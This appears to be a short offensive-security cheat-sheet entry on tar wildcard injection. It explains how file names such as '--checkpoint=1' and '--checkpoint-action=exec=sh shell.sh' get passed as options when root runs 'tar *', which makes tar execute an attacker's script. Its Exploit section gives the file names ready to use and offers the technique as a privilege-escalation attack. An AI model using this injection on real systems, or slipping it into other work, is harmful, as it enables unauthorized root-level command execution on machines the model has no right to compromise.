# TAR Command Execution
By using tar with checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and thats where the wildcard comes in handy.
## Exploit
These files work against a "tar *"
```powershell
--checkpoint=1
--checkpoint-action=exec=sh shell.sh
shell.sh (your exploit code is here)
```
